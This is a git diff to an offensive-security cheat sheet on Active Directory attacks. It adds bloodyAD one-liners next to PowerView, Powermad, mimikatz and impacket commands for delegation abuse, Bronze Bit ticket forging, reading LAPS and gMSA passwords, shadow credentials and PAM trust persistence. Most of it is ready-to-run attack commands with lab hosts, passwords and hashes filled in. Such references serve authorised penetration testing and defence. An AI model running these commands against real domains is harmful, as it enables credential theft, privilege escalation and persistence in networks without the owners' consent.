[Rubeus](https://github.com/GhostPack/Rubeus) ```powershell @@ -82,7 +90,15 @@ The technique is fully explained in this article: [Semperis blog post](https://w Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html **Requirements**: -- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`) +* Accounts with the attribute **DONT_REQ_PREAUTH** + * Windows/Linux: + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName + ``` + * Windows only: + ```ps1 + PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose + ``` * using [CVE-2022-33679.py](https://github.com/Bdenneu/CVE-2022-33679) ```bash diff --git a/docs/active-directory/kerberos-bronze-bit.md b/docs/active-directory/kerberos-bronze-bit.md index 542998e..7901860 100644 --- a/docs/active-directory/kerberos-bronze-bit.md +++ b/docs/active-directory/kerberos-bronze-bit.md @@ -29,26 +29,34 @@ ls \\service2.test.local\c$ ``` **Attack #2** - Write Permissions to one or more objects in the AD +* Windows/Linux: + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d test.local --host 10.100.10.5 add computer AttackerService 'AttackerServicePassword' + bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d test.local add rbcd 'Service2$' 'AttackerService$' -```powershell -# Create a new machine account -Import-Module .\Powermad\powermad.ps1 -New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force) -.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit + # Execute the attack + getST.py -spn cifs/Service2.test.local -impersonate User2 -dc-ip 10.100.10.5 -force-forwardable 'test.local/AttackerService$:AttackerServicePassword' + ``` +* Windows only: + ```powershell + # Create a new machine account + Import-Module .\Powermad\powermad.ps1 + New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force) + .\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit -# Set PrincipalsAllowedToDelegateToAccount -Install-WindowsFeature RSAT-AD-PowerShell -Import-Module ActiveDirectory -Get-ADComputer AttackerService -Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$ -Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount + # Set PrincipalsAllowedToDelegateToAccount + Install-WindowsFeature RSAT-AD-PowerShell + Import-Module ActiveDirectory + Get-ADComputer AttackerService + Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$ + Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount -# Execute the attack -python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$ + # Execute the attack + python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable -# Load the ticket -.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null -``` + # Load the ticket + .\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null + ``` ## References diff --git a/docs/active-directory/kerberos-delegation-constrained.md b/docs/active-directory/kerberos-delegation-constrained.md index 6e5b0d5..6d68a73 100644 --- a/docs/active-directory/kerberos-delegation-constrained.md +++ b/docs/active-directory/kerberos-delegation-constrained.md @@ -12,6 +12,10 @@ Get-DomainComputer -TrustedToAuth | select -exp dnshostname Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo ``` +* bloodyAD: + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto + ``` ## Exploit the Constrained Delegation diff --git a/docs/active-directory/kerberos-delegation-rbcd.md b/docs/active-directory/kerberos-delegation-rbcd.md index 0375051..4961145 100644 --- a/docs/active-directory/kerberos-delegation-rbcd.md +++ b/docs/active-directory/kerberos-delegation-rbcd.md @@ -19,12 +19,18 @@ Resource-based Constrained Delegation was introduced in Windows Server 2012. $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID} $ACE ConvertFrom-SID $ACE.SecurityIdentifier + + # alternative (Windows/Linux) + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get writable --otype COMPUTER --detail | egrep -i 'distinguishedName|msds-allowedtoactonbehalfofotheridentity' ``` 3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it ```powershell New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force) + + # alternative (Windows/Linux) + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add computer swktest 'Weakest123*' ``` 4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties @@ -38,6 +44,10 @@ Resource-based Constrained Delegation was introduced in Windows Server 2012. $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 $Descriptor.DiscretionaryAcl + + # alternative (Windows/Linux) + # use 'remove' instead of 'add' after exploit + bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d crash.lab add rbcd 'dc01-ww2$' 'swktest$' ``` ```ps1 diff --git a/docs/active-directory/kerberos-delegation-unconstrained.md b/docs/active-directory/kerberos-delegation-unconstrained.md index 7f1204c..691f00e 100644 --- a/docs/active-directory/kerberos-delegation-unconstrained.md +++ b/docs/active-directory/kerberos-delegation-unconstrained.md @@ -30,7 +30,11 @@ Check the `TRUSTED_FOR_DELEGATION` property. # From https://github.com/samratashok/ADModule PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True} ``` - +* [bloodyAD](https://github.com/CravateRouge/bloodyAD) + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' --attr sAMAccountName,userAccountControl + ``` + * [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```powershell $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10 diff --git a/docs/active-directory/pwd-comments.md b/docs/active-directory/pwd-comments.md index da449e4..da0ee19 100644 --- a/docs/active-directory/pwd-comments.md +++ b/docs/active-directory/pwd-comments.md @@ -2,6 +2,11 @@ There are 3-4 fields that seem to be common in most Active Directory schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`. +* Windows/Linux command + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(|(userPassword=*)(unixUserPassword=*)(unicodePassword=*)(description=*))' --attr userPassword,unixUserPassword,unicodePwd,description + ``` + * Password in User Description ```powershell crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc diff --git a/docs/active-directory/pwd-read-gmsa.md b/docs/active-directory/pwd-read-gmsa.md index abddf02..1cb386b 100644 --- a/docs/active-directory/pwd-read-gmsa.md +++ b/docs/active-directory/pwd-read-gmsa.md @@ -22,6 +22,11 @@ crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....' ``` +* [CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD) + ```ps1 + bloodyAD --host 10.10.10.10 -d crash.lab -u john -p 'Pass123*' get search --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' --attr msDS-ManagedPassword + ``` + * [rvazarkar/GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) ```ps1 GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT diff --git a/docs/active-directory/pwd-read-laps.md b/docs/active-directory/pwd-read-laps.md index 8f33aa6..b100569 100644 --- a/docs/active-directory/pwd-read-laps.md +++ b/docs/active-directory/pwd-read-laps.md @@ -17,7 +17,10 @@ Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll' ### Extract LAPS password > The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users - + - Windows/Linux: + ```ps1 + bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime + ``` - From Windows: * adsisearcher (native binary on Windows 8+) diff --git a/docs/active-directory/pwd-shadow-credentials.md b/docs/active-directory/pwd-shadow-credentials.md index 511d264..6e0d831 100644 --- a/docs/active-directory/pwd-shadow-credentials.md +++ b/docs/active-directory/pwd-shadow-credentials.md @@ -12,7 +12,11 @@ * An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object **Exploitation**: - +- Windows/Linux + ```ps1 + bloodyAD --host 10.1.0.4 -u bloodyAdmin -p 'Password123!' -d bloody add shadowCredentials targetpc$ + bloodyAD --host 10.1.0.4 -u bloodyAdmin -p 'Password123!' -d bloody remove shadowCredentials targetpc$ --key + ``` - From Windows, use [Whisker](https://github.com/eladshamir/Whisker): ```powershell # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object. diff --git a/docs/active-directory/trust-pam.md b/docs/active-directory/trust-pam.md index 2928472..23c5091 100644 --- a/docs/active-directory/trust-pam.md +++ b/docs/active-directory/trust-pam.md @@ -34,10 +34,15 @@ If we compromise the bastion we get `Domain Admins` privileges on the other doma * Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, ...) * Using SID History * Persistence - ```ps1 - # Add a compromised user to the group - Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"} - ``` + * Windows/Linux: + ```ps1 + bloodyAD --host 10.1.0.4 -u john.doe -p 'Password123!' -d bloody add groupMember 'CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local' Administrator + ``` + * Windows only: + ```ps1 + # Add a compromised user to the group + Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"} + ``` ## References